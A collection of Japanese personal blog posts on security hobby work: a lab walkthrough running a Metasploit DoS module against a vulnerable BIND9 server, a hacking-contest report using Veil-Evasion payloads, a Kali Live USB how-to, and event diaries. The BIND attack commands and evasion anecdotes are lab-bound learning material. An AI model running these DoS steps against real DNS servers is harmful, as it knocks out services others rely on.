BIND9用のMetasploit Module を使ってみる【攻撃編】

f:id:appleseedj073:20161107232032p:plain

準備ができたら攻撃検証開始!

攻撃環境

やられサーバ(CentOS 6.6)

  • IP 192.168.10.21

 

攻撃側(Kali Linux

  • IP 192.168.10.20

やられサーバ側でBINDの起動を確認

 ps awux | grep -v grep | grep bind

f:id:appleseedj073:20161113210210p:plain

BINDの起動を確認できたら攻撃側へ

 

攻撃側でとりあえずnmapしてみた。

f:id:appleseedj073:20161113210524p:plain

53番のオープンを確認

 

攻撃開始

 msfconsole

 use auxiliary/dos/dns/namedown

f:id:appleseedj073:20161113213951p:plain

optionの確認

 show options

f:id:appleseedj073:20161113214337p:plain

optionsの入力

 set RHOSTS 192.168.10.21

設定の確認

f:id:appleseedj073:20161113214702p:plain

 

必要事項を入力したら実行!

 run

f:id:appleseedj073:20161113215033p:plain

攻撃が成功しているようなメッセージが表示される。

 

やられサーバ側を確認する。

 ps awux | grep -v grep | grep bind

f:id:appleseedj073:20161113215853p:plain

BINDの起動が確認できない。

ログの確認

 cat /var/log/messages

f:id:appleseedj073:20161113220225p:plain

Nov 13 21:48:57 dns-bind-server named[21461]: client 192.168.10.20#48681: request has invalid signature: TSIG xXgKmatysB6ZVXaZAvnO3vHOCa5WkC0Ilc3tyBSyojzzTIbEa13AFZcmdlum6Nq.xXgKmatysB6ZVXaZAvnO3vHOCa5WkC0Ilc3tyBSyojzzTIbEa13AFZcmdlum6Nq.xXgKmatysB6ZVXaZAvnO3vHOCa5WkC0Ilc3tyBSyojzzTIbEa13AFZcmdlum6Nq.ZGiJyWKHqULvV9IY2sCflhqeyjVbt5agK3rf4E2FpuiMIdDyDT3OeVtzcAfW4: tsig verify failure (BADKEY)

 攻撃側から不正なクエリを受信して、tsigがBADKEYということでfailureを返す。

Nov 13 21:48:58 dns-bind-server named[21461]: buffer.c:127: REQUIRE(b->used + n <= b->length) failed

 buffer.cのREQUIRE(b->used + n <= b->length)でエラーになって failedと返している。

Nov 13 21:48:58 dns-bind-server named[21461]: exiting (due to assertion failure)

 次の行ではassertion failureでexiting(終了)している。

 

ちなみに脆弱性の残っていないバージョンに対して攻撃をした場合

攻撃側

f:id:appleseedj073:20161113224631p:plain

失敗してるようなメッセージ・・・。

 

やられ側

ログの確認

f:id:appleseedj073:20161113224801p:plain

Nov 13 22:42:52 dns-bind-server named[15820]: client 192.168.10.20#44603: request has invalid signature: TSIG Z5MFKBIdVnYWTamB4dlflgjkXQNSEryf4q628w9JDVwA04ZJT9abFZyPmTjZ7wb.Z5MFKBIdVnYWTamB4dlflgjkXQNSEryf4q628w9JDVwA04ZJT9abFZyPmTjZ7wb.Z5MFKBIdVnYWTamB4dlflgjkXQNSEryf4q628w9JDVwA04ZJT9abFZyPmTjZ7wb.0EYEI747SGaPV6RzJsPkst5S6TYTyAqmfEIvx9IGF1sBm4pmXu8ueYzoGy9dh: tsig verify failure (BADKEY)

 攻撃側から不正なクエリを受信して、tsigがBADKEYということでfailureを返すけどbuffer.cのエラーを返したりしてBINDが停止することはない。

 

結論

 出来ることならバージョンアップするのが良いと思う。それがダメならセカンダリを用意するなどして冗長化したほうがいいと思う。セカンダリは、BIND以外の名前解決サービスで運用するほうがいいかも。

 それも、ダメならクーロンでサービスの死活監視をして停止したらすぐに管理者に通報すると同時に停止したサービスを起動するようにしたほうがいいかも。(個人的な意見です)

 

 

 

BIND9用のMetasploit Module を使ってみる【準備編】

f:id:appleseedj073:20161107232032p:plain

久しぶりの脆弱性に対する攻撃検証をやってみる。

www.ipa.go.jp

簡単にいうと脆弱性が残るBIND9に細工したクエリを送り込むとBIND9がサービスを停止するというものである。

 

影響の受けるバージョンは以下の通り

  • BIND 9.0.x から 9.8.x までのバージョン
  • BIND 9.9.0 から 9.9.9-P2 までのバージョン
  • BIND 9.9.3-S1 から 9.9.9-S3 までのバージョン
  • BIND 9.10.0 から 9.10.4-P2 までのバージョン
  • BIND 9.11.0a1 から 9.11.0rc1 までのバージョン

 対策として、ISCから以下のバージョンへのアップデートが推奨されている

  • BIND 9.9.9-P3
  • BIND 9.9.9-S5
  • BIND 9.10.4-P3
  • BIND 9.11.0rc3

 

準備したこと

  1. やられ環境として、脆弱性が残るBIND9をインストールしたCentOS6.6を作る
  2. 例によってGitHubから持ってきたModuleを突っ込む

 

1.やられ環境として、脆弱性が残るBIND9をインストールしたCentOS6.6を作る

やられサーバのOSとしてCentOS6.6を、BINDは9.10.1-P1を用意した。どちらも、ネットでダウンロード可能。

ちなみに手順等については、以下のサイトを参考にした。


qiita.com

qiita.com

CentOSをVMwareFusionにインストールして、落としてきたBIND9.10.1-P1をインストールする。

f:id:appleseedj073:20161108075739p:plain

 

サービスを起動させて、起動を確認する。

f:id:appleseedj073:20161108075801p:plain

 

2.例によってGitHubから持ってきたModuleを突っ込む

GitHubからBIND9の脆弱性を突く攻撃モジュールをダウンロードしてくる。

github.com

 

 ダウンロードしてきたモジュール(namedown.rb)を~/.msfX/modules/auxiliary/dos/dns/ (Xには該当するバージョン)に配置する。(ディレクトリがない場合は適宜作成)

  ~/.msf4/modules/auxiliary/dos/dns/

とりあえずこれで準備は完了。

当たり前のことを当たり前のようにする 〜CODE BLUE Hack-a-Tronに参加して〜

f:id:appleseedj073:20161105163516p:plain

先月20日、21日とCODE BLUEというイベントが開催されていました。セキュリティに関するイベントなんで是非参加したいなぁっと思っていたのですが、高いw なんたって早期割引でも税込41,040円、当日料金に至っては75,600円!まず、無理・・・。

そんなわけで最初から興味を持ちつつも何も気にすることなく過ごしていたらTLにこんなものが・・・

f:id:appleseedj073:20161105164853p:plain

なに?

PCをハックする競技?

参加費無料!?

無料でビールを含むドリンク提供予定!?

とりあえず、登録だけしてみようかなw

コンテストのページを見てビックリですよ。

このコンテストでは、リアルタイムで皆様の攻撃の様子(ログ)を出力します(たまに大スクリーンに投影されます)。MCには上野宣氏をお迎えして、コメンテータと実況解説を行う他、コスプレコンパニオンがいます。ご来場の皆様には、挑戦者以外にも無料でお飲み物(ビール、ソフトドリンク)等をお配りする、新しいハッキングコンテストです。

賞金/賞品
賞品として、空撮可能なドローン(1万円程度)を参加者全員にプレゼントします。

コスプレコンパニオン!?

空撮可能なドローン(1万円程度)を参加者全員にプレゼントします。

なんなのこのイベント?絶対に採算取れないよね・・・。でも、コスプレコンパニオンがいて、ビールが飲めて、ドローンがもらえるなら参加してみよう!仕事休んでも参加だ!!

 

と、いうわけで10月20日を迎えて参加してきましたw

f:id:appleseedj073:20161105172256j:plain

午前10時30分頃の写真ですw ちゃんとビールもらえた!

 

f:id:appleseedj073:20161105172411j:plain

この席からニコ生に放送されていました。

 

 可愛いコスプレイヤーさんにも会えた!

 

とりあえず・・・当初の目標は達成したw

あとは、経験値稼ぎ程度に競技に参加して見事に散って帰ろうw

 

1日目の競技内容は、

競技参加者は自身のコンピュータを使って挑戦する個人戦です。Full Pursuitと呼ばれるカーネルの動きまで詳細に出力するロギングツール(※攻撃を防ぐような動作はしません)が入った4台のコンピュータが標的です。(尚、FULL PURSUITは警察庁に導入されています。)スイッチとLANケーブル(カテゴリ5e)は提供されます。競技参加者は自身のコンピュータとその他のデバイスを自由に使えます。競技は1時間の中でどれだけ多くの得点を獲得するかを競います。2回目にも連続出場OKです(同一端末を手配します)。

下記の攻撃は得点としてカウントします(2度めの同様の攻撃はカウントしません):
- スクリプトプロセスを用いた外部通信
- 管理者権限でのコマンド実行
- Windowsフォルダへのファイルの書き込み
- リモートデスクトップの有効化
- DEPのキャンセル
- 他のユーザメモリのエクスプロイト
- 他のシステムメモリを止める or エクスプロイト
- IDT (Interrupt Descriptor Table)の改ざん
- MBRの書き換え

競技ルール
競技の対象コンピュータの設定は下記の通り
-Toshiba Satellite Pro S750 Seriesに、コンテスト仕様のFull Pursuit(ロギングツール)、Windows 7 Professional 64bit SP1, Office 2010, Chrome, Firefox, Safari, Acrobat Reader, Java VM, Microsoft Security Essentials (最新版)
- 競技参加者にはゲストアカウントが与えられる

(失格につながる)違反行為
- 再起動、BSOD -- そこで即刻ゲームオーバー
- あらゆるデバイスの意図的な物理的破壊は失格となる
- OSの論理的破壊(起動しない)は失格となる

というルール。

 

とりあえず、競技開始して思った。最新版になっているWindows 7って思ったより強いね(T . T)

外からの通信は受け付けないし、当然、対策してないペイロードは速攻で処理されるし・・・。どうしましょうって感じでした。そんな中、実況では「もう何ポイントか取られてますね」「既に管理者権限を取得しているかもしれません」なんて煽るから焦る焦る。

単純に脆弱性なんてものは残っていなそうだし、なんかプログラムを動かしてメモリに割り込むなんて高等技術は持ち合わせてないので、まずはなんとかして持ち込んだPC上で動かしているKali Linuxと接続させようと考えた。

ルールでは、PCの接続も許可されいるし、USBの接続も禁止されていないので「Veil-Evasion」でペイロードを作成して、USBで対象端末にコピーして実行。難読化したペイロードを実行して、Metaplitorを動かして見た。

github.com

 

MetaplitorからMSE殺したり、指定されたファイルを実行したり、とりあえずnotepad.exeにインジェクションして見たりとやれることやって見たけど結局管理者権限は取れなかった(T . T)

 

f:id:appleseedj073:20161105180344p:plain

だいぶ嫌になり始めていた頃のスクリーンショットw

 

指定されたポイントは、ほとんど取ることができなかったけど楽しく競技することができたし、新しい気付きも得ることができたから、参加してよかったと思う。

 

今回思ったことだが、パッチ当ててを最新版にする行為は、当たり前の事だけど結構後回しにされがち。確かにダウンロードに時間がかかったり、再起動を求められたりで面倒臭いけど、最新版にして脆弱性を無くしておくだけで攻撃者としては結構、躊躇しちゃうと思う。それに、仮にペイロードバックドア)を埋め込まれてしまっても管理者権限を簡単に奪取されるわけではないと思う。(色々と条件もあると思うけど、今回みたいな場合はという事で)

よく言われる事だけど「当たり前のことを当たり前のようにする」というのは難しいけど大事だと今回見にしみてわかった。セキュリティに携わるものとして、お金かけなくても最低限の労力で、結構効果あるセキュリティとして「常に最新の状態にしておく」ことを推進したいです。

 

最後に・・・

f:id:appleseedj073:20161105190855j:plain

ドローンは、美味しくいただきましたw

F.TRONさんありがとうございました!

ゆるそうでゆるくない勉強会 リターンズ

5ヶ月ぶりに「ゆるいハッキング大会 in TOKYO」に参加してきました。

f:id:appleseedj073:20161023140548p:plain

第18回 ゆるいハッキング大会 in TOKYO 開催 | ITオフィスサポートとシステム開発|システムガーディアン AWSクラウド導入|東京都中央区八丁堀

 

前回よりも立地の良い会場で、茅場町駅の出口からすぐで迷子になる事なく会場に行けたw

そして、ビルの入り口でこんなものを発見!

f:id:appleseedj073:20161023140747j:plain

うん!怪しいね!www

 

この日の内容は、以下のような感じと案内されていました。

今回は全3回開催の2回目になりますので、実践のための講演になります。毎回繰り返しておりますが、無線LANの実際のハッキングから攻撃をメインしております。第3回で無線LANをジャックしてWEBサーバー攻撃してWEBサイト改ざんとバックドアを仕掛けるまでが基本になりますので、当日は無線LANのジャックの手法コマンドレベルでレクチャーしていきます。今までの講演で環境による差異で躓くことが多かったので、こちらをメインに行ないます。また標的型攻撃を例もいくつかレクチャーしていきます。

前回は、全3回の3回目でいきなり実戦だっけど、今回は2回目だから座学&hands-onなのかな?って思っていたら、基本的に座学メインの内容でした。

参加者のレベル感としては初心者クラスが6〜7割を占めている感じでした。Kali Linuxをインストールしてきたつもりなのに起動できない人とか、そもそもLinuxを触り慣れていない人がいました。だから、教育のテンポも途中からゆっくりに切り替えられてToolの解説はほどほどに、次回使うであろう無線LANをジャックするToolや、CMSをアタックするToolの名前を紹介してあとは自分で調べてね〜的な感じで3時間が過ぎました。ある意味、初心者の人に優しい勉強会になるのかな?

講義の間、ずっと「ゆるい集まりだからお酒飲みながらでもいいですよ〜」って言われていたけど誰もアルコールを飲まないで、「ゆるいハッキング大会」とは言えないくらい真剣な表情で聞いてました。逆に何度も勧める講師が迎え酒という事でチューハイ飲みながら喋っていたのが唯一の「ゆるさ」w

次回、参加するときは飲んでようかな?でも、3回目だからガチだろうし、グループで実習するって言ってるのに飲んでていいのかな?w

 

ちょっと初心者さんよりの内容になったから物足りない感はあったけど、他では聞けない「攻撃者目線」の話を聞けて今回も大変良い刺激になりました!

 

今回から、ステッカーとバッジがもらえて、レベルを色分けする様子。

「ゆるいハッキング大会」でトップレベルを認定してもらえるように頑張ろうっと。

f:id:appleseedj073:20161023142540j:plain

とある親父の侵入実験【Live USB】

f:id:appleseedj073:20160813022549p:plain

あるセミナーで、こんな事を言われたのを思い出した。

「ハイスペックな高級ラップトップを使ってハッキングを繰り返してて、足がついた時どうする?」

確かに高いラップトップを使えば処理も早いと思うけど…、足がつくって発想は無かったな。と、言うか足がついて困る様な悪い事はしないから関係ないと思いたいところw

 

「アキバで、とりあえずBIOSが起動する程度の安いPCを買ってきて、USBブートのKaliで仕事する。ヤバくなったら速攻、PCだけぶっ壊してUSBを持って自分は逃げれば良いんだよ」

って、話にはリアリティを感じた。仕事でペネトレーションテストをしたり、攻撃検証をしている人と全く違う、ある意味「本物のプロ」な発想。厨二病のハートを擽ります。

 

別に悪い事しなくてもLive USB のKali Linuxには興味が湧いたので作成してみる。

オフィシャルから作成方法が出ているので参考にした。

Making a Kali Bootable USB Drive(KALI LINUX OFFCIAL DOCUMENTATION)

 

準備したもの

 

手順

Kali LinuxダウンロードサイトからISOファイルをダウンロードする。

www.kali.org

 

ディスクユーティリティで、準備しておいたUSBをフォーマットする。

f:id:appleseedj073:20161015143828p:plain

フォーマットするディスクを間違えないようにする。

 

f:id:appleseedj073:20161015143851p:plain

フォーマット形式は「MS-DOS(FAT)」 を選ぶ。あとはデフォルトもしくは、適当。

 

f:id:appleseedj073:20161015144038p:plain

フォーマット完了

 

ターミナルを起動 → 以下のコマンドを入力してUSBのマウントされている所を確認する。

 

diskutil list

f:id:appleseedj073:20161015144124p:plain

ここでは/dev/disk4にマウントされている。

 

ターミナルに

diskutil unmountDisk disk4

と入力してアンマウントする。「disk4」は状況に応じて読み換える。

 

次に

dd if=【ダウンロードしたKali Linuxのファイル名】.iso of=/dev/dsik4 bs=512k

と入力して処理が完了するまで待つ。完了すると

f:id:appleseedj073:20161015162840p:plain

こんな情報が表示される。

 

次にUSBの中に保存領域を確保して変更内容を保存できるようにする。このままだとCDと変わらない。

 

システムを終了させて、作成したUSBを挿した状態でoptionを押しながらpower onする。

 

f:id:appleseedj073:20161015183205j:plain

フォーマットがMS-DOS(FAT)だからWindows?とりあえずWindowsを選択して起動。

 

f:id:appleseedj073:20161015183326j:plain

Liveで起動する。

 

起動したら端末を開いて

gparted

と入力する

f:id:appleseedj073:20161015183425j:plain

右上のタブで、利用しているUSBを選択する。今回は32Gだから、/dev/sdbを選択した。

 

Fat16の領域があったら削除する。(unmount→delete)

f:id:appleseedj073:20161015183735j:plain

unallocatedを選択して右クリック→new

 

Create new Partitonで以下のように設定する。

f:id:appleseedj073:20161015184041j:plain

  • File system「ext4
  • Label「persistence」

入力したらAddする。

 

Apply All Operationsを選択して処理を確定する。

f:id:appleseedj073:20161015192910j:plain

本当にやっていいか?って感じの質問をApplyする。

f:id:appleseedj073:20161015193011j:plain /dev/sdb2が出来てる。

f:id:appleseedj073:20161015200002j:plain

処理が完了したらgpartedを終了させて、端末から

mkdir -p /mnt/usb
mount /dev/sdb2 /mnt/usb
echo "/ union" > /mnt/usb/persistence.conf

これで保存できるようになったので再起動する。 

f:id:appleseedj073:20161015193105j:plain

次からはUSB Persistenceを選ぶことで保存が可能になる。

 

VMよりも動作が速い気がする。そして、何より漫画に出てくるハッカーっぽくてカッコいいw

秋田に行ってみた CSS2016

今回初めてCSS (Computer Security Symposium)2016というものに参加してみた。

会場が秋田というので、のんびり新幹線に揺られて行きました。

f:id:appleseedj073:20161013003022j:image

当然、長旅なのと今回の相方が、理解し難いオッさんという事もあって凹んでます。だから朝から飲みましたよ!(;_;)

 

f:id:appleseedj073:20161013003147j:image

凹む理由は、他にもあるんですけどね!(笑)

 

そんなこんなで新幹線で四時間ほど揺られたら秋田に到着です。

f:id:appleseedj073:20161013003233j:image

 

そして向かったのが秋田キャッスルホテル。名前だけだと何処ぞのラブホ?って気もしたけどしっかりとした真面目なホテルでした(笑)

f:id:appleseedj073:20161013003352j:image

f:id:appleseedj073:20161013003408j:image

 

CSSってのが、この中で何やってるかと言うとセキュリティに携わる大学の先生や、その学生さん、企業の研究者さんの研究論文を発表する場です。だか、実は公開処刑の場でもあった(笑)

 

f:id:appleseedj073:20161013003530j:image

雰囲気 その1

 

f:id:appleseedj073:20161013085845j:image

雰囲気 その2

 

f:id:appleseedj073:20161013085909j:image

雰囲気 その3

 

f:id:appleseedj073:20161013090123j:image

雰囲気 その4

 

学生さんや、プレゼン慣れしてない先生方が緊張しつつ研究成果を発表すると最後に恐怖の質問タイム。聞いていた同業者さんから、研究内容の完全否定から、そんな質問するなよーっていう低レベルな質問、とても紳士的で建設的な意見まで色々言われてました。発表者によっては質問責めにシドロモドロになってて、とても可哀想な感じでした。

いくら大発見してもこの場では発表したく無いかな(笑)

 

f:id:appleseedj073:20161013071418j:image

フロア内に分散する各会場へ向かう途中の廊下では、デモンストレーション・ポスターセッションという形で展示ブースもあった。でも、ここもやはり学会の展示ブース。手作り感あふれるブースで、良く言うと頭の良い学校の文化祭の雰囲気でしたね(笑)

メーカーさんの展示ブースと比較したらいけない。

 

f:id:appleseedj073:20161013003809j:image

それにしてもこのイベントは、参加者を太らせる気か?オヤツは食べ放題なんだよね…w

 

 f:id:appleseedj073:20161013071459j:image

でもね、ちゃんと美味しくいただきましたよ!

 

とりあえず初めて参加した率直な意見としては、必要な話だけ聞いてようかなってところです。まだまだ課題の残る状態での発表もあるし、そもそも調査報告や、新しい発想みたいなものを聞いてもそこから何か作る程の時間もないですし。良く参加してるシンポジウムの様に完成された話では無いって事は、とても理解出来た。あと、事前に発表される論文は事前に読めるけれど、読んでもよくわからないし(笑)←高卒ですから。

 

昼間は難しい発表を聞いて時間ないから、夜になってからお城付近に行ったりウロウロしてた〜。昼間じゃないとよくわからないな。

f:id:appleseedj073:20161013004101j:imagef:id:appleseedj073:20161013063824j:image

 

冷え込んできたので宿の近くで、地酒の飲み比べしましたよ。

f:id:appleseedj073:20161013072259j:image

 

秋田、観光で来たかったなぁ…。

気分はハッカー!・・・演出だって必要なんです。

f:id:appleseedj073:20160929222743p:plain

みんなのイメージとは違うんです!

 

いきなりですが、多くのセキュリティを知らない人たちのイメージする「ハッカー」っていったらこんなイラストの人を想像すると思うんだけど・・・本当は違うんですよ!

ハッカーとはなんぞや?なんて語りませんけど、みんなの期待に応える「ハッカー」であるためには演出も必要ですw

 

セキュリティに疎い上司から「おい、ちょっとハッカーっぽいことしてくれないか?」なんてことを言われませんか?そんな時に使える便利なものを紹介したいと思います。

とりあえずこれを見て!


GeekTyper Reveal

とりあえず、こんな感じにやればOKじゃない?www

プログラムっぽいものがパラパラと流れて、ダウンロードとかアクセス成功とか出るとそれっぽいでしょw

 

やり方は簡単。以下のサイトにアクセスして

f:id:appleseedj073:20160929224443p:plain

GEEKTyper.com - Be The One

画面右側からテーマを選択したら準備OK!

あとは適当にキーボードを叩くだけでスーパーハッカー!www

細かいオプションとかは、画面右側のディレクトリをクリックすればなんとなく操作できる!

あとは、いちおオフィシャルのチュートリアルもあるのでそれを見てね。


GeekTyper.com: Overview & Browser Demo - Awesome Hacking Prank

 

似たようなものでこんなのも紹介されてました。

gigazine.net

 

演出って大事なんです!偉い人にはわからないんですからwww

そして、これもある意味「ソーシャルエンジニアリング」じゃないかな?って私は思ってます。